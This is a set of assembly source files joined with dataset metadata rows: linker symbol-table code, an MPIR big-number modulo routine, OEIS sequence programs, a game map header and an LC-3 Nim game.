CALL INSTALL_SSYM
POP ESI
JC PP2_DELETE
RET
PP2_PROC32 ENDP
PP2_THUNK16 PROC NEAR
;
;NEST PROC
;
ASSUME ESI:PTR CV_THUNK16_STRUCT
MOV AX,[ESI]._SEGMENT
JMP NEST_PROC
PP2_THUNK16 ENDP
PP2_THUNK32 PROC NEAR
;
;NEST PROC
;
ASSUME ESI:PTR CV_THUNK32_STRUCT
MOV EAX,DPTR [ESI]._SEGMENT
JMP NEST_PROC
PP2_THUNK32 ENDP
PP2_BLOCK16 PROC NEAR
;
;NEST BLOCK
;
ASSUME ESI:PTR CV_BLOCK16_STRUCT
MOV EAX,DPTR [ESI]._SEGMENT
JMP NEST_BLOCK
PP2_BLOCK16 ENDP
PP2_BLOCK32 PROC NEAR
;
;NEST BLOCK
;
ASSUME ESI:PTR CV_BLOCK32_STRUCT
MOV EAX,DPTR [ESI]._SEGMENT
JMP NEST_BLOCK
PP2_BLOCK32 ENDP
PP2_S_END PROC NEAR
;
;CLOSE A SCOPE
;
MOV EDX,CV_PPARENT ;IS THERE A PARENT?
GET_CV_ASYM_OFFSET ;IN EAX
TEST EDX,EDX
JZ L99$
MOV CV_TEMP_DWORD,EAX
LEA EAX,CV_TEMP_DWORD
LEA EBX,[EDX+8]
LEA EDX,CV_ASYM_STRUCTURE
MOV ECX,4
CALL STORE_EAXECX_EDXEBX_RANDOM
MOV ECX,4
MOV EBX,CV_PPARENT
LEA EAX,CV_PPARENT
LEA EDX,CV_ASYM_STRUCTURE
ADD EBX,ECX
JMP READ_EAXECX_EDXEBX_RANDOM
L99$:
MOV AX,CVP_SCOPE_ERR
push EAX
call _err_abort
PP2_S_END ENDP
NEST_PROC PROC NEAR
;
;AX IS SEGMENT, NEST PLEASE
;
MOV EDX,CV_PPARENT ;IS THERE A PARENT?
AND EAX,0FFFFH
TEST EDX,EDX
JNZ L7$
;
;THIS IS ROOT LEVEL, HOOK THIS TO CORRECT SSEARCH CHAIN.
;
; PUSH ESI
MOV CV_PPARENT_SEGMENT,EAX
MOV ECX,CV_SSEARCH_CNT
LEA EDX,CV_SSEARCH_PTRS
CMP ECX,8
JBE L1$
MOV EDX,CV_SSEARCH_PTRS ;SEARCH FOR MATCH OR ZERO
L1$:
MOV ECX,[EDX]
ADD EDX,8
CMP ECX,EAX
JZ L14$
TEST ECX,ECX
JNZ L1$
L12$:
;
;CREATE ENTRY
;
MOV [EDX-8],EAX
GET_CV_ASYM_OFFSET ;IN EAX
MOV [EDX-4],EAX
L13$:
MOV EBX,CV_NEXT_SSEARCH
MOV CV_PPARENT,EAX
MOV EAX,EBX
ADD EBX,4
ADD EAX,SIZE CV_SEARCH_STRUCT
MOV ECX,6
MOV CV_NEXT_SSEARCH,EAX
LEA EDX,CV_ASYM_STRUCTURE
LEA EAX,CV_PPARENT
JMP STORE_EAXECX_EDXEBX_RANDOM
L14$:
;
;FOUND ENTRY
;
GET_CV_ASYM_OFFSET ;IN EAX
MOV ECX,[EDX-4]
MOV CV_PPARENT,EAX
MOV [EDX-4],EAX
LEA EBX,[ECX+12] ;POINT TO PNEXT
LEA EDX,CV_ASYM_STRUCTURE
LEA EAX,CV_PPARENT ;UPDATE PREVIOUS TO POINT TO ME
MOV ECX,4
JMP STORE_EAXECX_EDXEBX_RANDOM
L7$:
NEST_PROC_WITH_PARENT::
ASSUME ESI:PTR CV_LPROC16_STRUCT
MOV ECX,CV_PPARENT_SEGMENT
MOV [ESI]._PPARENT,EDX
CMP ECX,EAX
JNZ L99$
L8$:
GET_CV_ASYM_OFFSET ;IN EAX
MOV CV_PPARENT,EAX
RET
L99$:
MOV AX,CVP_NEST_SEG_ERR
CALL WARN_RET
JMP L8$
ASSUME ESI:NOTHING
NEST_PROC ENDP
NEST_BLOCK PROC NEAR
;
;AX IS SEGMENT, NEST PLEASE
;
MOV EDX,CV_PPARENT ;IS THERE A PARENT?
TEST EDX,EDX
JNZ NEST_PROC_WITH_PARENT
MOV AX,CVP_BLOCK_WO_PARENT_ERR
push EAX
call _err_abort
NEST_BLOCK ENDP
CV_SYMBOL_CLEANUP PROC NEAR
;
;CLEAN-UP
;
; 1. OUTPUT ALIGNSYM SECTION AND CV_INDEX IF NOT ZERO LENGTH
; 2. FIX TYPES ON ANY GLOBALSYM ENTRIES WE MADE
;
PUSHM EDI,ESI,EBX
CMP CV_SSEARCH_CNT,8
JBE L1$
MOV EAX,CV_SSEARCH_PTRS
CALL RELEASE_BLOCK
L1$:
;
;TRANSFER STUFF FROM CV_ASYM_STRUCTURE TO EXETABLE
;
LEA ESI,CV_ASYM_STRUCTURE._SEQ_TABLE
MOV EBX,OFF EXETABLE
L11$:
MOV EAX,[ESI]
ADD ESI,4
MOV [EBX],EAX
ADD EBX,4
TEST EAX,EAX
JNZ L11$
;
;NOW FLUSH THAT STUFF TO FINAL
;
GET_CV_ASYM_OFFSET ;EAX IS BYTES IN TABLE
PUSH EAX
CALL FLUSH_EAX_TO_FINAL
;
;WRITE CV_INDEX
;
POP ECX
MOV EAX,0125H ;SSTALIGNSYM
PUSH ECX
CALL WRITE_CV_INDEX
POP ECX
MOV EDX,BYTES_SO_FAR
ADD EDX,ECX
MOV ESI,CV_GSYM_START
;
;NOW CHECK GLOBALSYMS I ADDED FOR TYPES TO CONVERT
;
MOV BYTES_SO_FAR,EDX
GETT AL,CV_WARNINGS
CMP ECX,64K
JB L3$
TEST AL,AL
JZ L3$
MOV AX,CVP_SYMBOLS_64K_ERR
CALL WARN_RET
L3$:
TEST ESI,ESI
JZ L4$
CONVERT ESI,ESI,CV_GSYM_GARRAY
ASSUME ESI:PTR CVG_REF_STRUCT
MOV ESI,[ESI]._NEXT_GSYM_GINDEX
JMP L6$
L4$:
MOV ESI,FIRST_GSYM_GINDEX
JMP L6$
L5$:
CONVERT ESI,ESI,CV_GSYM_GARRAY
ASSUME ESI:PTR CVG_REF_STRUCT
MOV EBX,[ESI]._NEXT_GSYM_GINDEX
XOR EAX,EAX
MOV AL,BPTR [ESI]._ID ;INTERNAL ID...
ADD ESI,SIZE CV_GLOBALSYM_STRUCT
CMP AL,I_S_CONSTANT
JZ L55$
CMP AL,I_S_UDT
JZ L55$
ADD ESI,4
CMP AL,I_S_GDATA16
JZ L55$
ADD ESI,2
CMP AL,I_S_GDATA32
JNZ L59$
ASSUME ESI:NOTHING
L55$:
MOV AH,[ESI+1]
CMP AH,10H
JB L59$
MOV AL,[ESI]
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV [ESI],AX
L59$:
MOV ESI,EBX
L6$:
TEST ESI,ESI
JNZ L5$
;
;THAT SHOULD DO IT...
;
POPM EBX,ESI,EDI
RET
CV_SYMBOL_CLEANUP ENDP
INSTALL_SSYM PROC NEAR
;
;EAX IS OFFSET
;ECX IS SEGMENT
;EDX IS REF TYPE
;ESI IS NAME TEXT
;
SHL EDX,16
MOV ISSYM_OFFSET,EAX
OR ECX,EDX
MOV EAX,ESI
MOV DPTR ISSYM_SEGMENT,ECX
CALL GET_NAME_HASH32
MOV EDX,DPTR ISSYM_SEGMENT
MOV ECX,ISSYM_OFFSET
SHL EDX,16
MOV ISSYM_HASH,EAX
XOR EAX,ECX
MOV ESI,SSYM_HASH_LOG
XOR EAX,EDX
XOR EDX,EDX
;
;SEE IF ONE ALREADY IN TABLE WITH MATCHING HASH AND ADDRESS
;
HASHDIV SSYM_HASH
PUSHM EDI,EBX
MOV ECX,ISSYM_HASH
MOV EDI,ISSYM_OFFSET
MOV EBX,DPTR ISSYM_SEGMENT
MOV EAX,[ESI+EDX*4]
LEA ESI,[ESI+EDX*4 - CV_GLOBALSYM_STRUCT._NEXT_HASH_GINDEX]
JMP L2$
ASSUME ESI:PTR CV_GLOBALSYM_STRUCT
L1$:
MOV EAX,[ESI]._NEXT_HASH_GINDEX
L2$:
TEST EAX,EAX
JZ L5$
CONVERT EAX,EAX,CV_SSYM_GARRAY
ASSUME EAX:PTR CVG_REF_STRUCT
MOV ESI,EAX
MOV EDX,[EAX]._HASH
CMP EDX,ECX
JNZ L1$
MOV DX,[EAX]._SEGMENT
MOV EAX,[EAX]._OFFSET
CMP EAX,EDI
JNZ L1$
CMP DX,BX
JNZ L1$
CMP ESP,-1
POPM EBX,EDI
RET
L5$:
MOV EAX,SIZE CVG_REF_STRUCT
CALL CV_SSYM_POOL_GET
MOV EDX,EAX
ASSUME EDX:PTR CVG_REF_STRUCT
INSTALL_POINTER_GINDEX CV_SSYM_GARRAY
MOV [ESI]._NEXT_HASH_GINDEX,EAX
MOV ESI,LAST_SSYM_GINDEX
MOV [EDX]._HASH,ECX
TEST ESI,ESI
JZ L6$
CONVERT ESI,ESI,CV_SSYM_GARRAY
MOV [ESI]._NEXT_GSYM_GINDEX,EAX
L7$:
MOV LAST_SSYM_GINDEX,EAX
XOR EAX,EAX
MOV [EDX]._OFFSET,EDI
MOV [EDX]._NEXT_HASH_GINDEX,EAX
MOV [EDX]._NEXT_GSYM_GINDEX,EAX
MOV [EDX]._TEXT_OFFSET,EAX
MOV DPTR [EDX]._LENGTH,EBX ;ACTUALLY, ID IN HIGH WORD
SHL EBX,16 ;MOVE SEGMENT TO HI WORD
MOV EAX,CV_REFSYM_CNT
MOV ECX,CURNMOD_NUMBER
INC EAX
OR EBX,ECX
MOV CV_REFSYM_CNT,EAX
GET_CV_ASYM_OFFSET ;IN EAX
MOV DPTR [EDX]._MODULE,EBX
POPM EBX,EDI
MOV [EDX]._ALIGN_OFF,EAX
OR EAX,EAX
RET
L6$:
MOV FIRST_SSYM_GINDEX,EAX
JMP L7$
INSTALL_SSYM ENDP
.DATA
ALIGN 4
PROCSYM_PASS1 LABEL DWORD
DD PP1_W_DELETE ;TYPE 0 - UNDEFINED, WARN AND DELETE
DD PP1_PASS_THRU ;TYPE 1 - S_COMPILE
DD PP1_PASS_ND ;TYPE 2 - S_REGISTER, PASS THRU IF NOT DELETING THIS SCOPE
DD PP1_CONSTANT ;TYPE 3 - S_CONSTANT, GLOBALIZE IF LEVEL 0
DD PP1_UDT ;TYPE 4 - S_UDT
DD PP1_W_DELETE ;TYPE 5 - S_SSEARCH, ILLEGAL
DD PP1_S_END ;TYPE 6 - UNNEST SCOPES
DD PP1_DELETE ;TYPE 7 - S_SKIP, IGNORE
DD PP1_W_DELETE ;TYPE 8 - INTERNAL, MEANS DELETE LATER
DD PP1_PASS_THRU ;TYPE 9 - S_OBJNAME, KEEP IT
DD PP1_PASS_ND ;TYPE A - S_ENDARG
DD PP1_PASS_ND ;TYPE B - S_COBOL_UDT
DD PP1_PASS_ND ;TYPE C - S_MANYREG
DD PP1_PASS_ND ;TYPE D - S_RETURN
DD PP1_W_DELETE ;TYPE E - S_ENTRYTHIS
DD PP1_W_DELETE ;TYPE F - S_TDBNAME (error - new format)
DD PP1_PASS_ND ;TYPE 100 - S_BPREL16
DD PP1_LDATA16 ;TYPE 101 - S_LDATA16
DD PP1_S_GDATA16 ;TYPE 102
DD PP1_W_DELETE ;TYPE 103, LINKER GENERATED ONLY...
DD PP1_PROC16 ;TYPE 104 - S_LPROC16, ENTER A 16-BIT PROCEDURE SCOPE
DD PP1_PROC16 ;TYPE 105 - S_GPROC16
DD PP1_THUNK16 ;TYPE 106 - S_THUNK16
DD PP1_BLOCK16 ;TYPE 107 - S_BLOCK16
DD PP1_BLOCK16 ;TYPE 108 - S_WITH16
DD PP1_LABEL16 ;TYPE 109 - S_LABEL16
DD PP1_CEXMODEL16 ;TYPE 10A - S_CEXMODEL16
DD PP1_VFTPATH16 ;TYPE 10B - S_VFTPATH16
DD PP1_PASS_ND ;TYPE 10C - S_REGREL16
DD PP1_PASS_ND ;TYPE 200 - S_BPREL32
DD PP1_LDATA32 ;TYPE 201 - S_LDATA32
DD PP1_S_GDATA32 ;TYPE 202
DD PP1_W_DELETE ;TYPE 203, LINKER GENERATED ONLY...
DD PP1_PROC32 ;TYPE 204 - S_LPROC32, ENTER A 32-BIT PROCEDURE SCOPE
DD PP1_PROC32 ;TYPE 205 - S_GPROC32
DD PP1_THUNK32 ;TYPE 206 - S_THUNK32
DD PP1_BLOCK32 ;TYPE 207 - S_BLOCK32
DD PP1_BLOCK32 ;TYPE 208 - S_WITH32
DD PP1_LABEL32 ;TYPE 209 - S_LABEL32
DD PP1_CEXMODEL32 ;TYPE 20A - S_CEXMODEL32
DD PP1_VFTPATH32 ;TYPE 20B - S_VFTPATH32
DD PP1_PASS_ND ;TYPE 20C - S_REGREL32
DD PP1_LDATA32 ;TYPE 20D - S_LTHREAD32
DD PP1_S_GDATA32 ;TYPE 20E - S_GTHREAD32
ALIGN 4
PROCSYM_PASS2 LABEL DWORD
DD PP2_ERROR ;TYPE 0 - UNDEFINED, CAN'T PASS 2
DD PP2_RETT ;TYPE 1 - S_COMPILE
DD PP2_TYPE_4 ;TYPE 2 - S_REGISTER, TYPE AT 4
DD PP2_TYPE_4 ;TYPE 3 - S_CONSTANT, TYPE AT 4
DD PP2_TYPE_4 ;TYPE 4 - S_UDT, TYPE AT 4
DD PP2_ERROR ;TYPE 5 - S_SSEARCH, ILLEGAL
DD PP2_S_END ;TYPE 6 - UNNEST SCOPES
DD PP2_ERROR ;TYPE 7 - S_SKIP, CAN'T PASS 2
DD PP2_RETT ;TYPE 8 - INTERNAL, MEANS DELETE LATER
DD PP2_RETT ;TYPE 9 - S_OBJNAME, KEEP IT
DD PP2_RETT ;TYPE A - S_ENDARG
DD PP2_TYPE_4 ;TYPE B - S_COBOL_UDT
DD PP2_TYPE_4 ;TYPE C - S_MANYREG
DD PP2_RETT ;TYPE D - S_RETURN
DD PP2_ERROR ;TYPE E - S_ENTRYTHIS
DD PP2_ERROR ;TYPE F - S_TDBNAME
DD PP2_TYPE_6 ;TYPE 100 - S_BPREL16
DD PP2_DATA16 ;TYPE 101 - S_LDATA16
DD PP2_DATA16 ;TYPE 102 - S_GDATA16
DD PP2_ERROR ;TYPE 103, LINKER GENERATED ONLY...
DD PP2_PROC16 ;TYPE 104 - S_LPROC16, ENTER A 16-BIT PROCEDURE SCOPE
DD PP2_PROC16 ;TYPE 105 - S_GPROC16
DD PP2_THUNK16 ;TYPE 106 - S_THUNK16
DD PP2_BLOCK16 ;TYPE 107 - S_BLOCK16
DD PP2_BLOCK16 ;TYPE 108 - S_WITH16
DD PP2_RETT ;TYPE 109 - S_LABEL16
DD PP2_RETT ;TYPE 10A - S_CEXMODEL16
DD PP2_VFTPATH16 ;TYPE 10B - S_VFTPATH16
DD PP2_TYPE_8 ;TYPE 10C - S_REGREL16
DD PP2_TYPE_8 ;TYPE 200 - S_BPREL32
DD PP2_DATA32 ;TYPE 201 - S_LDATA32
DD PP2_DATA32 ;TYPE 202 - S_GDATA32
DD PP2_ERROR ;TYPE 203, LINKER GENERATED ONLY...
DD PP2_PROC32 ;TYPE 204 - S_LPROC32, ENTER A 32-BIT PROCEDURE SCOPE
DD PP2_PROC32 ;TYPE 205 - S_GPROC32
DD PP2_THUNK32 ;TYPE 206 - S_THUNK32
DD PP2_BLOCK32 ;TYPE 207 - S_BLOCK32
DD PP2_BLOCK32 ;TYPE 208 - S_WITH32
DD PP2_RETT ;TYPE 209 - S_LABEL32
DD PP2_RETT ;TYPE 20A - S_CEXMODEL32
DD PP2_VFTPATH32 ;TYPE 20B - S_VFTPATH32
DD PP2_TYPE_10 ;TYPE 20C - S_REGREL32
DD PP2_DATA32 ;TYPE 20D - S_LTHREAD32
DD PP2_DATA32 ;TYPE 20E - S_GTHREAD32
ZERO_ONE DD 1
I2S_TBL DD 0,1,2,3,4,5,6,7,8,9,0AH,0BH,0CH,0DH,0EH,0FH
DD 100H,101H,102H,103H,104H,105H,106H,107H,108H,109H,10AH,10BH,10CH
DD 200H,201H,202H,203H,204H,205H,206H,207H,208H,209H,20AH,20BH,20CH,20DH,20EH
DD 300H,301H
DD 400H,401H,402H
CV_REFSYM DB SIZE CV_GLOBALSYM_STRUCT - 4 + SIZE CVG_REF_STRUCT DUP(?)
LEAF_SIZE LABEL BYTE
DB 1 ;8000
DB 2 ;8001
DB 2 ;8002
DB 4 ;8003
DB 4 ;8004
DB 4 ;8005
DB 8 ;8006
DB 10 ;8007
DB 16 ;8008
DB 8 ;8009
DB 8 ;800A
DB 6 ;800B
DB 8 ;800C
DB 16 ;800D
DB 20 ;800E
DB 32 ;800F
ALIGN 4
CV_SSEARCH_TXT DW 10,S_SSEARCH,0,0,0,0
CV_SSEARCH_TXT_LEN EQU $-CV_SSEARCH_TXT
.DATA?
ALIGN 4
ISSYM_OFFSET DD ?
ISSYM_SEGMENT DW ?
ISSYM_TYPE DW ?
ISSYM_HASH DD ?
endif
END
| 14.101341 | 110 | 0.699192 |
6aaeb95edd11d581625e60a1246dcf7e77d45078 | 3,006 | asm | Assembly | externals/mpir-3.0.0/mpn/x86_64w/core2/mod_1_2.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 12 | 2021-09-29T14:50:06.000Z | 2022-03-31T15:01:21.000Z | externals/mpir-3.0.0/mpn/x86_64w/core2/mod_1_2.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 15 | 2021-12-24T22:53:49.000Z | 2021-12-25T10:03:13.000Z | LibSource/mpir/mpn/x86_64w/core2/mod_1_2.asm | ekzyis/CrypTool-2 | 1af234b4f74486fbfeb3b3c49228cc36533a8c89 | [
"Apache-2.0"
] | 10 | 2021-10-17T19:46:51.000Z | 2022-03-18T02:57:57.000Z | ; PROLOGUE(mpn_mod_1_2)
; Copyright 2011 The Code Cavern
;
; Windows Conversion Copyright 2011 Brian Gladman
;
; This file is part of the MPIR Library.
;
; The MPIR Library is free software; you can redistribute it and/or modify
; it under the terms of the GNU Lesser General Public License as published
; by the Free Software Foundation; either version 2.1 of the License, or (at
; your option) any later version.
;
; The MPIR Library is distributed in the hope that it will be useful, but
; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
; License for more details.
;
; You should have received a copy of the GNU Lesser General Public License
; along with the MPIR Library; see the file COPYING.LIB. If not, write
; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
; Boston, MA 02110-1301, USA.
;
; mp_limb_t mpn_mod_1_2(mp_ptr, mp_ptr, mp_size_t, mp_ptr)
; rax rdi rsi rdx rcx
; rax rcx rdx r8 r9
%include 'yasm_mac.inc'
CPU Core2
BITS 64
%define reg_save_list rsi, rdi, r12, r13, r14
FRAME_PROC mpn_mod_1_2, 0, reg_save_list
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov r14, [rsi+rdx*8-8]
mov r13, [rsi+rdx*8-16]
mov r8, [r9]
mov r10, [r9+16]
mov r9, [r9+8]
mov rcx, rdx
sub rcx, 6
jc .2
align 16
.1:
mov r11, [rsi+rcx*8+16]
mov rax, [rsi+rcx*8+16+8]
mul r8
add r11, rax
mov r12d, 0
adc r12, rdx
lea rax, [r9]
mul r13
add r11, rax
lea r8, [r8]
adc r12, rdx
mov rax, r10
lea r13, [r11]
mul r14
add r13, rax
lea r14, [r12]
adc r14, rdx
sub rcx, 2
jnc .1
.2: mov r11, [rsi+rcx*8+16]
mov rax, [rsi+rcx*8+16+8]
mul r8
mov r12d, 0
add r11, rax
adc r12, rdx
mov rax, r9
mul r13
add r11, rax
adc r12, rdx
mov r13, r11
mov rax, r10
mul r14
add r13, rax
mov r14, r12
adc r14, rdx
cmp rcx, -2
je .4
.3: mov r11, [rsi+rcx*8+8]
mov r12d, 0
mov rax, r8
mul r13
add r11, rax
adc r12, rdx
mov r13, r11
mov rax, r9
mul r14
add r13, rax
mov r14, r12
adc r14, rdx
.4: mov rax, r8
mul r14
add r13, rax
adc rdx, 0
mov [rdi], r13
mov [rdi+8], rdx
END_PROC reg_save_list
end
| 27.833333 | 77 | 0.495343 |
5c9a3d071bd97c9d9af12860762d12afe0c2b71c | 316 | asm | Assembly | programs/oeis/152/A152030.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/152/A152030.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/152/A152030.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A152030: a(n)=n^6-n^5-n^4-n^3-n^2-n.
; 0,-4,2,366,2732,11720,37326,98042,224696,465012,888890,1594406,2714532,4424576,6950342,10577010,15658736,22628972,32011506,44432222,60631580,81477816,107980862,141306986,182794152,233968100,296559146,372519702
mov $1,$0
mov $2,5
lpb $2
sub $0,1
mul $0,$1
sub $2,1
lpe
| 28.727273 | 211 | 0.737342 |
f03132d2e2c6ea9edd8a9e0131e5b6ada01121f3 | 64 | asm | Assembly | data/maps/headers/SaffronMart.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/maps/headers/SaffronMart.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/maps/headers/SaffronMart.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null |
map_header SaffronMart, SAFFRON_MART, MART, 0
end_map_header
| 16 | 46 | 0.8125 |
c3d63eec79c56701d388eeb66a30f5620eac7e6a | 1,077 | asm | Assembly | programs/oeis/276/A276859.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/276/A276859.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/276/A276859.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A276859: First differences of the Beatty sequence A022843 for e.
; 2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,3,2,3
mov $12,$0
mov $14,2
lpb $14
clr $0,12
mov $0,$12
sub $14,1
add $0,$14
sub $0,1
add $5,$0
mov $8,$5
mul $8,2
add $8,1
mov $9,$0
add $0,$8
add $0,2
mov $1,2
mov $4,$0
mul $4,16
add $0,$4
mov $2,70
lpb $0
sub $0,1
sub $1,1
add $2,$1
div $0,$2
mov $3,1
mul $3,$0
mov $0,1
add $3,4
lpe
mov $1,$3
sub $1,3
add $1,$9
mov $15,$14
lpb $15
mov $13,$1
sub $15,1
lpe
lpe
lpb $12
mov $12,0
sub $13,$1
lpe
mov $1,$13
add $1,1
| 21.979592 | 501 | 0.495822 |
53a7c98ed22a0286d3f2ad8421333cccd817799d | 3,342 | asm | Assembly | Nim Game Project/nim.asm | AriaPahlavan/Fall-2014-EE-306-Projects-Assembly-Binary | 589bf1e85c1813efa71bfa8ec656ee8701d31a6a | [
"MIT"
] | 1 | 2016-01-14T05:17:37.000Z | 2016-01-14T05:17:37.000Z | Nim Game Project/nim.asm | apahlavan1/Fall-2014-EE-306-Projects-Assembly-Binary | 589bf1e85c1813efa71bfa8ec656ee8701d31a6a | [
"MIT"
] | null | null | null | Nim Game Project/nim.asm | apahlavan1/Fall-2014-EE-306-Projects-Assembly-Binary | 589bf1e85c1813efa71bfa8ec656ee8701d31a6a | [
"MIT"
] | null | null | null | .ORIG x3000
AND R5,R5,#0
ADD R5,R5,#-3
ST R5,NEG3
ADD R5,R5,#-2
ST R5,NEG5
ADD R5,R5,#-3
ST R5,NEG8
AND R6,R6,#0 ;R6 IS GONNA BE 1 OR -1 TO ALTURNATE BTWN THE PLAYERS
ADD R6,R6,#1
SETADRS LEA R0,AM0
ADD R0,R0,#10
ST R0,ADRA ;ADDRESS OF ROW A IS STORED AT ADRA
LEA R0,BM0
ADD R0,R0,#12
ST R0,ADRB ;ADDRESS OF ROW B IS STORED AT ADRB
LEA R0,CM0
ADD R0,R0,#15
ST R0,ADRC ;ADDRESS OF ROW C IS STORED AT ADRC
START LEA R0,AM0
LDR R0,R0,#7
BRnp STARTT
LEA R0,BM0
LDR R0,R0,#7
BRnp STARTT
LEA R0,CM0
LDR R0,R0,#7
BRz WINNER
STARTT LEA R0,AM0 ;STRING FOR ROW A IS SAVED INTO R0 TO BE PROMPTED
PUTS
LD R0,NEWLINE
OUT
LEA R0,BM0 ;STRING FOR ROW B IS SAVED INTO R0 TO BE PROMPTED
PUTS
LD R0,NEWLINE
OUT
LEA R0,CM0 ;STRING FOR ROW C IS SAVED INTO R0 TO BE PROMPTED
PUTS
LD R0,NEWLINE
OUT
REPEAT ADD R6,R6,#0 ;CHECK TO SEE IF R6 IS 1 OR -1 TO DECIDE WHICH PLAYER'S TURN IT IS
BRn PL2
PL1 LEA R0,PLR1
PUTS
BR INPUT
PL2 LEA R0,PLR2
PUTS
INPUT AND R0,R0,#0
GETC
ST R0,INP1 ;THE INPUT ROW IS STORED AT INP1
OUT
GETC
ST R0,INP2 ;THE INPUT # OF ROCKS IS STORED AT INP2
OUT
LD R0,NEWLINE
OUT
;COMPARE ROW
LD R2,INP1 ;R2 COULD BE HX OF ANY ASCII CHAR
LD R3,A ;R3=-LETTER A
ADD R3,R3,R2
BRz ITSA ;IF INP1=A, JUMP TO ITSA
LD R3,B ;R3=-LETTER B
ADD R3,R3,R2
BRz ITSB ;IF INP1=B, JUMP TO ITSB
LD R3,C ;R3=-LETTER C
ADD R3,R3,R2
BRz ITSC ;IF INP1=C, JUMP TO ITSC
BRnp INVLD ;IF INP1=ANYTHING OTHER THAN A,B,OR C, PROMPT INVALID
;COMPARE NUMBER
ITSA LD R5,NEG3 ;R5=-3
LD R1,ADRA ;R1=ADDRESS OF THE LAST ROCK IN ROW A
JSR SBRTN1
ST R1,ADRA
ST R5,NEG3 ;NUMBER OF ROCKS LEFT IN ROW A IS ADJUSTED
NOT R6,R6 ;NEXT PLAYER'S TURN
LD R0,NEWLINE
OUT
BR START
ITSB LD R5,NEG5 ;R5=-5
LD R1,ADRB ;R1=ADDRESS OF THE LAST ROCK IN ROW B
JSR SBRTN1
ST R1,ADRB
ST R5,NEG5 ;NUMBER OF ROCKS LEFT IN ROW B IS ADJUSTED
NOT R6,R6 ;NEXT PLAYER'S TURN
LD R0,NEWLINE
OUT
BR START
ITSC LD R5,NEG8 ;R5=-8
LD R1,ADRC ;R1=ADDRESS OF THE LAST ROCK IN ROW C
JSR SBRTN1
ST R1,ADRC
ST R5,NEG8 ;NUMBER OF ROCKS LEFT IN ROW C IS ADJUSTED
NOT R6,R6 ;NEXT PLAYER'S TURN
LD R0,NEWLINE
OUT
BR START
SBRTN1 LD R2,INP2 ;R2 COULD BE ANY ASCII CHAR
ADD R2,R2,#-15
ADD R2,R2,#-15
ADD R2,R2,#-15
ADD R2,R2,#-3 ;R2 COULD BE A NUMBER FROM 0-9
BRnz INVLD
ADD R5,R2,R5 ;R5=NEGATIVE OF THE NUMBER OF ROCKS LEFT IN THE CHOSEN ROW
BRp INVLD
NOT R2,R2
ADD R2,R2,#1 ;R2=NEGATIVE OF THE NUMBER INPUTED BY THE USER
ADD R1,R1,R2 ;R1=THE ADDRESS WHERE THE ROCK MUST BE REPLACED WITH \n
AND R4,R4,#0 ;R4=0
STR R4,R1,#0 ;STOR \n INTO R1
RET
INVLD LEA R0,INVALID
PUTS
LD R0,NEWLINE
OUT
BR REPEAT
WINNER ADD R6,R6,#0 ;CHECK TO SEE IF R6 IS 1 OR -1 TO DECIDE WHICH PLAYER'S TURN IT IS
BRn PL2W
PL1W LEA R0,PLR1WIN
PUTS
BR END
PL2W LEA R0,PLR2WIN
PUTS
END HALT
NEG3 .FILL x0000
NEG5 .FILL x0000
NEG8 .FILL x0000
NEWLINE .FILL x000A
INP1 .FILL x0000
INP2 .FILL x0000
ADRA .FILL x0000
ADRB .FILL x0000
ADRC .FILL x0000
A .FILL xFFBF
B .FILL xFFBE
C .FILL xFFBD
INVALID .STRINGZ "Invalid move. Try again."
PLR1 .STRINGZ "Player 1, choose a row and number of rocks: "
PLR2 .STRINGZ "Player 2, choose a row and number of rocks: "
AM0 .STRINGZ "ROW A: ooo"
BM0 .STRINGZ "ROW B: ooooo"
CM0 .STRINGZ "ROW C: oooooooo"
PLR1WIN .STRINGZ "Player 1 Wins."
PLR2WIN .STRINGZ "Player 2 Wins."
.END | 19.775148 | 86 | 0.697786 |
